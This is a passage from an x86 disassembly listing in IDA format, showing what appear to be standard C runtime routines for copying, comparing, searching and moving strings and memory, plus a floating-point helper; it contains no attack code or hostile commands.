dword_4DB278, 22h jz short loc_41BD88 or [ebp+var_8], 0FFFFFFFFh jmp short loc_41BD99 ; --------------------------------------------------------------------------- loc_41BD88: ; CODE XREF: sub_41BBBD+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_41BD99: ; CODE XREF: sub_41BBBD+18Dj ; sub_41BBBD+19Cj ... test edx, edx jz short loc_41BDA2 mov eax, [ebp+var_4] mov [edx], eax loc_41BDA2: ; CODE XREF: sub_41BBBD+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_41BDB0 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_41BDB0: ; CODE XREF: sub_41BBBD+1E9j mov eax, [ebp+var_8] jmp short loc_41BDC0 ; --------------------------------------------------------------------------- loc_41BDB5: ; CODE XREF: sub_41BBBD+66j ; sub_41BBBD+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_41BDBE mov [eax], edi loc_41BDBE: ; CODE XREF: sub_41BBBD+1FDj xor eax, eax loc_41BDC0: ; CODE XREF: sub_41BBBD+1F6j pop edi pop esi pop ebx leave retn sub_41BBBD endp ; =============== S U B R O U T I N E ======================================= sub_41BDC5 proc near ; CODE XREF: sub_401ACD+61CEp ; sub_401ACD+6A0Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41BBBD add esp, 10h retn sub_41BDC5 endp ; =============== S U B R O U T I N E ======================================= sub_41BDDC proc near ; CODE XREF: sub_401ACD+5980p arg_0 = dword ptr 4 push [esp+arg_0] nop call near ptr 2660263h test eax, eax jnz short loc_41BDF2 nop call near ptr 2660882h jmp short loc_41BDF4 ; --------------------------------------------------------------------------- loc_41BDF2: ; CODE XREF: sub_41BDDC+Cj xor eax, eax loc_41BDF4: ; CODE XREF: sub_41BDDC+14j test eax, eax jz short loc_41BE03 push eax call sub_4203DF pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41BE03: ; CODE XREF: sub_41BDDC+1Aj xor eax, eax retn sub_41BDDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE06 proc near ; CODE XREF: sub_401ACD+58D2p ; ___:00411CA1p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_420446 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_41F69F push [ebp+arg_0] mov edi, eax push esi call sub_4204D3 add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_41BE06 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE40 proc near ; CODE XREF: sub_401ACD+1E81p ; sub_401ACD+1EA0p ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_41BE61 xor eax, eax jmp short loc_41BE63 ; --------------------------------------------------------------------------- loc_41BE61: ; CODE XREF: sub_41BE40+1Bj mov eax, edi loc_41BE63: ; CODE XREF: sub_41BE40+1Fj cld pop edi leave retn sub_41BE40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE70 proc near ; CODE XREF: sub_401ACD+870p ; ___:0041DD1Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_41BEA1 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_41BE9F jz short loc_41BEA1 dec ecx dec ecx loc_41BE9F: ; CODE XREF: sub_41BE70+29j not ecx loc_41BEA1: ; CODE XREF: sub_41BE70+9j ; sub_41BE70+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_41BE70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BEB0 proc near ; CODE XREF: sub_401ACD+42Fp ; sub_401ACD+2FFCp ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_41BF21 sub_41BEB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BEC0 proc near ; CODE XREF: sub_401ACD+438p ; sub_401ACD+75FEp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_41BEDC loc_41BECD: ; CODE XREF: sub_41BEC0+1Aj mov al, [ecx] inc ecx test al, al jz short loc_41BF0F test ecx, 3 jnz short loc_41BECD loc_41BEDC: ; CODE XREF: sub_41BEC0+Bj ; sub_41BEC0+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41BEDC mov eax, [ecx-4] test al, al jz short loc_41BF1E test ah, ah jz short loc_41BF19 test eax, 0FF0000h jz short loc_41BF14 test eax, 0FF000000h jz short loc_41BF0F jmp short loc_41BEDC ; --------------------------------------------------------------------------- loc_41BF0F: ; CODE XREF: sub_41BEC0+12j ; sub_41BEC0+4Bj lea edi, [ecx-1] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF14: ; CODE XREF: sub_41BEC0+44j lea edi, [ecx-2] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF19: ; CODE XREF: sub_41BEC0+3Dj lea edi, [ecx-3] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF1E: ; CODE XREF: sub_41BEC0+39j lea edi, [ecx-4] loc_41BF21: ; CODE XREF: sub_41BEB0+5j ; sub_41BEC0+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_41BF46 loc_41BF2D: ; CODE XREF: sub_41BEC0+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_41BF98 mov [edi], dl inc edi test ecx, 3 jnz short loc_41BF2D jmp short loc_41BF46 ; --------------------------------------------------------------------------- loc_41BF41: ; CODE XREF: sub_41BEC0+9Ej ; sub_41BEC0+B8j mov [edi], edx add edi, 4 loc_41BF46: ; CODE XREF: sub_41BEC0+6Bj ; sub_41BEC0+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_41BF41 test dl, dl jz short loc_41BF98 test dh, dh jz short loc_41BF8F test edx, 0FF0000h jz short loc_41BF82 test edx, 0FF000000h jz short loc_41BF7A jmp short loc_41BF41 ; --------------------------------------------------------------------------- loc_41BF7A: ; CODE XREF: sub_41BEC0+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BF82: ; CODE XREF: sub_41BEC0+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_41BF8F: ; CODE XREF: sub_41BEC0+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BF98: ; CODE XREF: sub_41BEC0+72j ; sub_41BEC0+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_41BEC0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41BFB0 loc_41BFA0: ; CODE XREF: sub_41BFB0+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_41BFB0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BFB0 proc near ; CODE XREF: sub_401ACD+414p ; sub_401ACD+4C3p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_41BFB6: ; CODE XREF: sub_41B900+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_41BFDB loc_41BFC8: ; CODE XREF: sub_41BFB0+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_41BFA0 test cl, cl jz short loc_41C024 test edx, 3 jnz short loc_41BFC8 loc_41BFDB: ; CODE XREF: sub_41BFB0+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_41BFE6: ; CODE XREF: sub_41BFB0+61j ; sub_41BFB0+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_41C028 and eax, 81010100h jz short loc_41BFE6 and eax, 1010100h jnz short loc_41C022 and esi, 80000000h jnz short loc_41BFE6 loc_41C022: ; CODE XREF: sub_41BFB0+68j ; sub_41BFB0+81j ... pop esi pop edi loc_41C024: ; CODE XREF: sub_41BFB0+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C028: ; CODE XREF: sub_41BFB0+5Aj mov eax, [edx-4] cmp al, bl jz short loc_41C065 test al, al jz short loc_41C022 cmp ah, bl jz short loc_41C05E test ah, ah jz short loc_41C022 shr eax, 10h cmp al, bl jz short loc_41C057 test al, al jz short loc_41C022 cmp ah, bl jz short loc_41C050 test ah, ah jz short loc_41C022 jmp short loc_41BFE6 ; --------------------------------------------------------------------------- loc_41C050: ; CODE XREF: sub_41BFB0+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_41C057: ; CODE XREF: sub_41BFB0+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C05E: ; CODE XREF: sub_41BFB0+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C065: ; CODE XREF: sub_41BFB0+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_41BFB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C070 proc near ; CODE XREF: sub_401ACD+1AEp ; sub_401ACD+205p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41C0BC loc_41C080: ; CODE XREF: sub_41C070+3Cj ; sub_41C070+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+1] jnz short loc_41C0B4 or ah, ah jz short loc_41C0B0 shr eax, 10h cmp al, [ecx+2] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+3] jnz short loc_41C0B4 add ecx, 4 add edx, 4 or ah, ah jnz short loc_41C080 mov edi, edi loc_41C0B0: ; CODE XREF: sub_41C070+18j ; sub_41C070+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_41C0B4: ; CODE XREF: sub_41C070+14j ; sub_41C070+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41C0BC: ; CODE XREF: sub_41C070+Ej test edx, 1 jz short loc_41C0D8 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_41C0B4 inc ecx or al, al jz short loc_41C0B0 test edx, 2 jz short loc_41C080 loc_41C0D8: ; CODE XREF: sub_41C070+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+1] jnz short loc_41C0B4 or ah, ah jz short loc_41C0B0 add ecx, 2 jmp short loc_41C080 sub_41C070 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C0F4 proc near ; CODE XREF: sub_401ACD+B5p ; sub_401ACD+D5p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_41C10D: ; CODE XREF: sub_41C0F4+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_41C10D mov edx, [ebp+arg_0] test edx, edx jnz short loc_41C135 mov edx, dword_4DB2C4 loc_41C135: ; CODE XREF: sub_41C0F4+39j ; sub_41C0F4+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_41C155 test al, al jz short loc_41C155 inc edx jmp short loc_41C135 ; --------------------------------------------------------------------------- loc_41C155: ; CODE XREF: sub_41C0F4+58j ; sub_41C0F4+5Cj mov ebx, edx loc_41C157: ; CODE XREF: sub_41C0F4+81j mov al, [edx] test al, al jz short loc_41C17B movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_41C177 inc edx jmp short loc_41C157 ; --------------------------------------------------------------------------- loc_41C177: ; CODE XREF: sub_41C0F4+7Ej and byte ptr [edx], 0 inc edx loc_41C17B: ; CODE XREF: sub_41C0F4+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_4DB2C4, edx and eax, ebx pop ebx leave retn sub_41C0F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C190 proc near ; CODE XREF: sub_409A2C+1Cp ; sub_415220+19p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C1CE mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C1DB ; --------------------------------------------------------------------------- loc_41C1CE: ; CODE XREF: sub_41C190+34j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41C1DB: ; CODE XREF: sub_41C190+3Cj mov eax, esi pop esi leave retn sub_41C190 endp ; =============== S U B R O U T I N E ======================================= sub_41C1E0 proc near ; CODE XREF: sub_40AFEA+88p ; sub_40B64A+60p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_41C294 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_41C20A loc_41C1FB: ; CODE XREF: sub_41C1E0+28j mov al, [edi] inc edi test al, al jz short loc_41C23B test edi, 3 jnz short loc_41C1FB loc_41C20A: ; CODE XREF: sub_41C1E0+19j ; sub_41C1E0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_41C20A mov eax, [edi-4] test al, al jz short loc_41C248 test ah, ah jz short loc_41C243 test eax, 0FF0000h jz short loc_41C23E test eax, 0FF000000h jnz short loc_41C20A loc_41C23B: ; CODE XREF: sub_41C1E0+20j dec edi jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C23E: ; CODE XREF: sub_41C1E0+52j sub edi, 2 jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C243: ; CODE XREF: sub_41C1E0+4Bj sub edi, 3 jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C248: ; CODE XREF: sub_41C1E0+47j sub edi, 4 loc_41C24B: ; CODE XREF: sub_41C1E0+5Cj ; sub_41C1E0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_41C260 mov ebx, ecx shr ecx, 2 jnz short loc_41C2AC jmp short loc_41C27C ; --------------------------------------------------------------------------- loc_41C260: ; CODE XREF: sub_41C1E0+75j ; sub_41C1E0+93j mov dl, [esi] inc esi test dl, dl jz short loc_41C29A mov [edi], dl inc edi dec ecx jz short loc_41C290 test esi, 3 jnz short loc_41C260 mov ebx, ecx shr ecx, 2 jnz short loc_41C2AC loc_41C27C: ; CODE XREF: sub_41C1E0+7Ej ; sub_41C1E0+CAj mov ecx, ebx and ecx, 3 jz short loc_41C290 loc_41C283: ; CODE XREF: sub_41C1E0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_41C292 dec ecx jnz short loc_41C283 loc_41C290: ; CODE XREF: sub_41C1E0+8Bj ; sub_41C1E0+A1j mov [edi], cl loc_41C292: ; CODE XREF: sub_41C1E0+ABj pop ebx pop esi loc_41C294: ; CODE XREF: sub_41C1E0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C29A: ; CODE XREF: sub_41C1E0+85j ; sub_41C1E0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2A4: ; CODE XREF: sub_41C1E0+E4j ; sub_41C1E0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_41C27C loc_41C2AC: ; CODE XREF: sub_41C1E0+7Cj ; sub_41C1E0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41C2A4 test dl, dl jz short loc_41C29A test dh, dh jz short loc_41C2F8 test edx, 0FF0000h jz short loc_41C2E8 test edx, 0FF000000h jnz short loc_41C2A4 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2E8: ; CODE XREF: sub_41C1E0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2F8: ; CODE XREF: sub_41C1E0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41C1E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C310 proc near ; CODE XREF: sub_40BFA3+15p ; sub_40BFA3+3Bp ... var_3A3BFFC0 = byte ptr -3A3BFFC0h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41C330 cmp edi, eax jb loc_41C4A8 loc_41C330: ; CODE XREF: sub_41C310+16j test edi, 3 jnz short loc_41C34C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- loc_41C34C: ; CODE XREF: sub_41C310+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41C364 and eax, 3 add ecx, eax jmp dword ptr loc_41C36C+4[eax*4] ; --------------------------------------------------------------------------- loc_41C364: ; CODE XREF: sub_41C310+46j jmp dword ptr loc_41C468[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41C36C: ; CODE XREF: sub_41C310+31j ; sub_41C310+8Ej ... jmp off_41C3EC[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41C380 ; --------------------------------------------------------------------------- lodsb retn ; --------------------------------------------------------------------------- inc ecx add al, dl retn ; --------------------------------------------------------------------------- dw 41h ; --------------------------------------------------------------------------- loc_41C380: ; DATA XREF: sub_41C310+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 10h and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 off_41C3EC dd offset loc_41C44F ; DATA XREF: sub_41C310:loc_41C36Cr dd offset loc_41C43C dd offset loc_41C434 dd offset loc_41C42C dd offset loc_41C424 dd offset loc_41C41C dd offset loc_41C414 dd offset loc_41C40C ; --------------------------------------------------------------------------- loc_41C40C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41C414: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41C41C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41C424: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41C42C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41C434: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41C43C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41C44F: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310:off_41C3ECo jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 off_41C458 dd offset loc_41C468 ; DATA XREF: sub_41C310+35r ; sub_41C310+92r ... dd offset loc_41C470 dd offset loc_41C47C dd offset loc_41C490 ; --------------------------------------------------------------------------- loc_41C468: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41C470: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C47C: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41C490: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C4A8: ; CODE XREF: sub_41C310+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41C4DC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41C4D0: ; CODE XREF: sub_41C310+1B1j ; sub_41C310+208j ... neg ecx jmp dword ptr loc_41C59F+1[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41C4DC: ; CODE XREF: sub_41C310+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41C4F4 and eax, 3 sub ecx, eax jmp dword ptr loc_41C4F4+4[eax*4] ; --------------------------------------------------------------------------- loc_41C4F4: ; CODE XREF: sub_41C310+1D6j ; DATA XREF: sub_41C310+1DDr jmp off_41C5F0[ecx*4] ; --------------------------------------------------------------------------- align 4 or ch, al inc ecx add [eax], ch lds eax, [ecx+0] push eax lds eax, [ecx+0] mov al, [esi+3] and edx, ecx mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 4 movsb lds eax, [ecx+0] lodsb lds eax, [ecx+0] mov ah, 0C5h inc ecx add [ebp+eax*8-3A3BFFBFh], bh inc ecx add ah, cl lds eax, [ecx+0] aam 0C5h inc ecx loc_41C59F: ; DATA XREF: sub_41C310+1C2r add bh, ah lds eax, [ecx+0] mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41C5E7: ; CODE XREF: sub_41C310+1C2j jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h off_41C5F0 dd offset loc_41C600 ; DATA XREF: sub_41C310+1B7r ; sub_41C310:loc_41C4F4r ... dd offset loc_41C608 dd offset loc_41C618 dd offset loc_41C62C ; --------------------------------------------------------------------------- loc_41C600: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C608: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C618: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C62C: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41C310 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C645 proc near ; CODE XREF: sub_40BFEB+40p ; ___:0040E29Fp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_41AFE0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_420510 add esp, 10h leave retn sub_41C645 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C679(double) sub_41C679 proc near ; CODE XREF: sub_40D030+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43A290 call sub_4217E9 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41C6FF call sub_4216B1 pop ecx test eax, eax pop ecx jle short loc_41C6E2 cmp eax, 2 jle short loc_41C6D4 cmp eax, 3 jnz short loc_41C6E2 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_420FC1 add esp, 10h jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C6D4: ; CODE XREF: sub_41C679+3Fj push esi push ebx call sub_4217E9 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C6E2: ; CODE XREF: sub_41C679+3Aj ; 